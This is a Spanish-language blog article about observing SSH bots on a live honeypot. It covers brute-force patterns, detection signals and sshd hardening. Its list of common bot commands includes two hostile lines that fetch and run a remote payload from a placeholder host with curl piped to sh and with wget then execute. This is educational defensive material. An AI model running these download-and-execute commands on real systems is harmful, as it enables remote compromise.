Así atacan los bots un honeypot SSH

Si alguna vez administraste un VPS, un servidor de producción o incluso una Raspberry Pi expuesta a Internet, ya viste el ruido de fondo: intentos de login por SSH, usuarios obvios como root o admin, y scripts que prueban contraseñas comunes en segundos. No es un ataque sofisticado en el sentido clásico, pero sí es automatización ofensiva real, constante y bastante terca.

La propuesta de honeypotlive.cc es simple y útil: dejarte mirar, en tiempo real, cómo interactúan bots maliciosos con un honeypot SSH. No estás viendo una demo de laboratorio bonita; estás viendo comportamiento repetido, patrones de exploración y comandos que suelen aparecer cuando un bot consigue acceso o cree haberlo conseguido. Eso sirve para algo muy concreto: entender cómo atacan para defender mejor.

Qué es un honeypot SSH y por qué importa

Un honeypot SSH es un sistema señuelo que aparenta ser un servidor accesible por SSH, pero está diseñado para observar intentos de intrusión. No busca que te conectes tú, sino que se conecten ellos. En la práctica, eso permite registrar IPs, credenciales probadas, comandos ejecutados y tiempos de interacción sin poner en riesgo un activo real.

La gracia de ver uno en vivo no está solo en la curiosidad. Cuando observas sesiones reales, notas que muchos bots no “piensan” como un humano. Siguen secuencias cortas, repiten patrones y disparan comandos que parecen sacados de una lista de comprobación. Ese detalle te ayuda a distinguir entre ruido automatizado y un intento más dirigido.

También hay una lección operativa. Si administras infraestructura en Ecuador, México, Colombia, Chile o cualquier otro país de la región, tu exposición a este tráfico es prácticamente la misma que la de un servidor en cualquier otra parte del mundo. Los bots no eligen por geografía; eligen por disponibilidad, puertos abiertos y credenciales débiles.

Lo que un honeypot sí te muestra

Un honeypot SSH te permite ver, con bastante claridad, cuatro cosas:

1. Qué usuarios prueban primero.
2. Qué contraseñas o combinaciones repiten.
3. Qué comandos ejecutan tras entrar.
4. Cuánto tardan en pasar de un intento fallido a otro.

Eso ya te da material para endurecer tu superficie de ataque. Si en tus logs ves que root aparece cientos de veces al día, la respuesta no es solo “cambiar la contraseña”, sino revisar si ese usuario debe existir, si el acceso por contraseña está habilitado y si tienes MFA o llaves SSH obligatorias.

Lo que un honeypot no te muestra

Tampoco conviene sobredimensionarlo. Un honeypot no representa todo el ecosistema de amenazas. No te enseña, por sí solo, una cadena completa de ataque con persistencia, movimiento lateral y exfiltración. Tampoco sustituye monitoreo, hardening ni respuesta a incidentes.

Piensa en él como una ventana. Te deja ver una parte del comportamiento ofensivo, útil para tomar decisiones tácticas. No reemplaza el resto de tu estrategia.

Cómo atacan los bots: patrón, velocidad y repetición

La primera señal es la velocidad. Un bot no se entretiene. Hace intentos consecutivos en pocos segundos, cambia de usuario y sigue. Si el servicio responde con banners o tiempos de espera, el script suele ignorarlo y avanza igual. El objetivo es encontrar una puerta abierta, no conversar.

La segunda señal es la repetición. Verás listas cortas de usuarios y contraseñas reutilizadas una y otra vez. En muchos casos, el bot prueba combinaciones que siguen el mismo patrón en múltiples IPs. Eso sugiere campañas masivas, no ataques personalizados.

La tercera señal es la secuencia post-login. Si consigue entrar, suele ejecutar comandos básicos para entender el entorno, descargar binarios o preparar persistencia. No siempre es sofisticado. A veces basta con un uname -a, id, pwd, ls, y luego una descarga con curl o wget.

Comandos que aparecen mucho

En sesiones de honeypots SSH suelen repetirse comandos como estos:

uname -a
id
whoami
pwd
ls -la
cat /etc/os-release
curl -fsSL http://example.com/payload.sh | sh
wget http://example.com/bot -O /tmp/bot && chmod +x /tmp/bot && /tmp/bot

No significa que cada sesión vaya a terminar en malware, pero sí que la intención suele ser clara: identificar el sistema y preparar una segunda etapa. Si ves curl o wget apuntando a dominios raros, estás ante una señal de alerta bastante directa.

La velocidad también te ayuda a estimar el nivel de automatización. Un humano suele tardar más, se equivoca, corrige y explora. Un bot va con pasos cortos y muy parecidos entre sí. Cuando observas decenas de sesiones, el patrón se vuelve evidente.

Qué puedes aprender mirando sesiones en vivo

La utilidad real del proyecto no está en el “wow” visual, sino en la observación repetida. Si te tomas un rato para mirar sesiones en vivo, empiezas a reconocer comportamientos que luego puedes buscar en tus propios logs.

Por ejemplo, puedes identificar si el bot solo hace fuerza bruta o si además intenta ejecutar comandos tras una autenticación exitosa. Esa diferencia cambia tu respuesta. En el primer caso, endureces autenticación y rate limiting. En el segundo, ya debes pensar en detección de post-exploitation, alertas de procesos sospechosos y revisión de integridad.

También ves una cosa muy útil: los bots no siempre son “inteligentes”, pero sí son persistentes. Muchos repiten campañas a escala, con variaciones mínimas. Eso significa que una defensa bien puesta puede bloquear miles de intentos sin necesidad de reaccionar manualmente a cada uno.

Señales prácticas para tu servidor

Si administras SSH, estas señales merecen atención:

• Logins a usuarios estándar del sistema, no solo root.
• Intentos desde IPs que cambian rápido pero mantienen el mismo patrón de usuario.
• Comandos de enumeración justo después de entrar.
• Descargas con curl, wget, tftp o busybox.
• Creación de archivos en /tmp, /dev/shm o directorios ocultos.
• Cambios en authorized_keys o en crontab.

No necesitas verlas todas para sospechar. Con dos o tres de estas señales en una sola sesión ya conviene investigar.

Tabla de patrones comunes y respuesta sugerida

Qué defensas sí funcionan en la práctica

La primera defensa útil es la más aburrida: no expongas SSH con contraseña si no hace falta. Usa llaves, deshabilita el acceso directo de root y limita quién puede entrar. Según la documentación oficial de OpenSSH, puedes ajustar esto en sshd_config; revisa la guía de configuración en OpenSSH Portable y valida los parámetros que aplican a tu versión.

La segunda defensa es reducir superficie. Si tu servidor solo debe aceptar conexiones desde una red concreta, haz allowlist por IP o por VPN. Si administras varios entornos, separa acceso humano, acceso de CI/CD y acceso de mantenimiento. Mezclarlo todo en un solo puerto abierto a Internet es pedir problemas.

La tercera defensa es observabilidad. Si no miras logs, el ruido de bots se vuelve invisible hasta que alguien entra. Centraliza autenticación, activa alertas por múltiples fallos y revisa patrones de sshd junto con eventos de sistema. En Linux, journalctl y tu stack de monitoreo ya te dan bastante material.

Medidas concretas que puedes aplicar hoy

1. Deshabilita password auth si tu operación lo permite.
2. Desactiva PermitRootLogin por SSH.
3. Usa llaves con passphrase y, si puedes, MFA.
4. Limita origen por firewall o VPN.
5. Cambia el puerto no como defensa principal, sino como reducción de ruido.
6. Revisa Fail2ban o equivalentes si tu entorno lo justifica.
7. Centraliza logs en un sistema que no viva en el mismo servidor expuesto.

No todas estas medidas aplican igual a todos los entornos. Un VPS de pruebas, un bastión corporativo y un servidor de clientes no tienen el mismo nivel de tolerancia al riesgo. Pero el principio es el mismo: que el bot tenga menos oportunidades y menos tiempo útil.

Cómo leer la automatización ofensiva sin exagerar

A veces se habla de bots como si fueran una amenaza casi mística. No hace falta. La realidad es más simple y, por eso mismo, más útil de entender. La automatización ofensiva escala tareas repetitivas: prueba credenciales, enumera servicios, descarga payloads y busca configuraciones flojas. No necesita creatividad para hacer daño.

Lo que sí cambia es la escala. Un solo script puede golpear miles de hosts en poco tiempo. Un honeypot como el de honeypotlive.cc te deja ver esa escala sin esperar a que afecte tu infraestructura. Eso te ayuda a aterrizar decisiones: si un patrón aparece decenas de veces en minutos, no es ruido aislado.

También conviene separar curiosidad de control. Ver bots en vivo sirve para aprender, pero no te da una defensa automática. Si tu servidor sigue aceptando contraseñas débiles, el problema sigue ahí aunque hayas visto cien sesiones de ataque. La observación te da contexto; la mitigación te protege.

Qué deberías buscar en tus propios logs

Si quieres llevar esta idea a tu entorno, revisa estos puntos:

• Picos de autenticación fallida en ventanas de 5 a 15 minutos.
• Usuarios objetivo que no deberían existir o no deberían autenticarse por SSH.
• Sesiones cortas con comandos de reconocimiento.
• Descargas salientes hacia dominios recién vistos.
• Cambios en archivos de arranque o tareas programadas.

Si tienes un SIEM o un stack de logs centralizado, crea alertas simples primero. No necesitas un modelo predictivo para detectar que root fue probado 400 veces en una hora desde 30 IPs distintas.

Un ejemplo de hardening mínimo

# /etc/ssh/sshd_config
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
MaxAuthTries 3
LoginGraceTime 20

Ese bloque no resuelve todo, pero sí reduce bastante el margen de los bots. Antes de aplicar cambios, valida que tú y tu equipo tengan acceso por llave y un plan de respaldo. Cortarte el acceso por error es un incidente autogenerado que nadie quiere.

Tabla resumen

Mirar bots en vivo no es solo entretenimiento técnico. Te da contexto para tomar mejores decisiones de hardening, priorizar alertas y reconocer automatización ofensiva cuando aparece en tus propios sistemas. Si administras infraestructura en Latinoamérica, el valor es el mismo que en cualquier otra región: menos sorpresa, más señales útiles.

También te deja una idea clara de fondo: la mayoría de ataques automatizados no necesitan ser brillantes para ser molestos o peligrosos. Con controles básicos bien puestos, puedes cortar gran parte del ruido. Y con observabilidad, detectas rápido cuando el ruido deja de ser ruido.